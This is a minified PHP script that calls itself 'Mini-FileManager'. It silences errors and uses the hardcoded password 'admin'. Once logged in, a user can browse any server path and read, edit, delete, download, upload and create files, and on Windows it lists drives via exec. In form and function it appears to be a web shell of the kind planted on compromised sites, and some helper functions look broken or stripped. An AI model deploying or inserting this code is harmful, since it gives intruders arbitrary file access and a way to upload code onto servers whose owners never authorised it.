error_reporting(0);session_start();define('password','admin');$head='
<meta name="viewport" content="width=device-width, initial-scale=1.0"/><title>Mini-FileManager</title><style>pre{border:1px solid #ddd;padding:5px;overflow:auto}table{border-collapse:collapse;width:100%;overflow:auto}th,td{padding:0.25rem;text-align:left;border-bottom:1px solid #ccc}tbody tr:nth-child(odd){background:#eee}tr:hover{background-color:#f5f5f5}</style>';function A($name){return(isset($_SESSION[$name])?$_SESSION[$name]:false);}function B($name,$val){$_SESSION[$name]=$val;}function C($name){return(isset($_POST[$name])?$_POST[$name]:false);}function D($name){return(isset($_GET[$name])?$_GET[$name]:false);}function E($type,$name,$val="",$style=""){if(in_array($type,['text','password','submit','file'])){return"<input type='$type' name='$name' value='$val' style='$style'/>";}return"<$type name='$name' style='$style'>$val</$type>";}function F($method,$inputArray,$file=""){$form="";}function G($thead,$tbody){$head="";foreach($thead as $th){$head.="<th>$th</th>";}$body="";foreach($tbody as $tr){$body.="";foreach($tr as $td){$body.="$td | ";}$body.="
";}return"<thead>$head</thead><tbody>$body</tbody>
";}function H($link,$text,$target=""){return"<a href='$link' target='$target'>$text</a> ";}function I(){if(A('login')){return true;}if(!C('login')){return false;}if(C('pass')!=password){return false;}B('login',true);return true;}function J(){$path=__dir__;if(D('path')){$path=D('path');}return $path;}function K($bytes){$label=array('B','KB','MB','GB','TB','PB');for($i=0;$bytes>=1024&&$i<(count($label)-1);$bytes/=1024,$i++);return(round($bytes,2)." ".$label[$i]);}function L($path){return date("M d Y H:i:s",filemtime($path));}function M($download){if(!is_file($download)){return false;}header('Content-Type: application/octet-stream');header('Content-Transfer-Encoding: Binary');header('Content-disposition: attachment; filename="'.basename($download).'"');return readfile($download);}function N($delete){if(is_file($delete)){return unlink($delete);}if(is_dir($delete)){return rmdir($delete);}return false;}function O($edit){if(is_file($edit)){return F('POST',['textarea'=>['edit',htmlentities(file_get_contents($edit)),"width:100%;height:90%"],'submit'=>['save','Save']]);}return false;}function P($path,$str){if(is_file($path)){file_put_contents($path,html_entity_decode($str));return true;}return false;}function Q($path){if(is_file($path)){return htmlentities(file_get_contents($path));}return false;}function R($path,$name){if(!is_file($path.'/'.$name)){file_put_contents($path.'/'.$name,"");return true;}return false;}function S($path,$name){if(!is_dir($path.'/'.$name)){mkdir($path.'/'.$name);return true;}return false;}function T($path,$file){$name=basename($file['name']);if(!is_file($path.'/'.$name)){if(move_uploaded_file($file["tmp_name"],$path.'/'.$name)){return true;}}return false;}function U($path){if($path==""||$path=="/"){return $path;}$path=explode("/",str_replace('\\','/',$path));array_pop($path);return implode("/",$path);}function V(){exec("wmic logicaldisk get caption",$c);$ret="";foreach($c as $d)$ret.=($d!="Caption"?H("?path=$d",$d):"");return $ret;}function W(){$path=J();if(!is_dir($path)){return false;}$dir=scandir($path);$files=[];$i=0;foreach($dir as $d){if($d=='.'||$d=='..'){continue;}$p=$path.'/'.$d;$s='--';$icon="📁";$t=L($p);$l=H("?path=$p",$d);$perms=substr(sprintf("%o",fileperms($p)),-4);$owner=(function_exists('posix_getpwuid')?posix_getpwuid(fileowner($p))['name']:fileowner($p));$controller=(is_file($p)?H("?edit=$p","Edit","_blank"):'').H("?delete=$p","Delete","_blank").(is_file($p)?H("?download=$p","Download","_blank"):'');if(is_file($p)){$s=K(filesize($p));$icon="📝";}$files[]=[$icon,$i,$l,$s,$t,$perms,$owner,$controller];$i++;}return G(['#','id','Filename','Size','Modified','Perms','Owner',''],$files);}$loginTemplate=F('POST',['p'=>['','Password(default admin): '],'password'=>'pass','submit'=>['login','Login']]);if(!I()){die($loginTemplate);}if(D("delete")){N(D("delete"))?die("Deleted: ".D("delete")):die("File not found");}if(D("edit")){if(C('save')){P(D('edit'),C('edit'));echo "Saved";}$edit=O(D("edit"));$edit?die($edit):die("File not found");}if(D('download')){@readfile(M(D('download')));exit();}if(C('newfile')){R(J(),C('filename'))?die('Create: '.C('filename')):die('File exites');}if(C('newdir')){S(J(),C('dirname'))?die('Create: '.C('dirname')):die('Dir exites');}if(C('upload')){T(J(),$_FILES['file'])?die('upload: '.$_FILES['file']['name']):die('Upload Error');}echo $head."".F('POST',['text'=>['filename','File Name'],'submit'=>['newfile','Create']]).F('POST',['text'=>['dirname','Dir Name'],'submit'=>['newdir','Create']]).F('POST',['file'=>'file','submit'=>['upload','Upload']],'multipart/form-data').H("?path=".U(J()),"[Back]").(PHP_OS_FAMILY=="Windows"?V():"").(is_dir(J())?W():'<pre>'.Q(J()).'</pre>')."";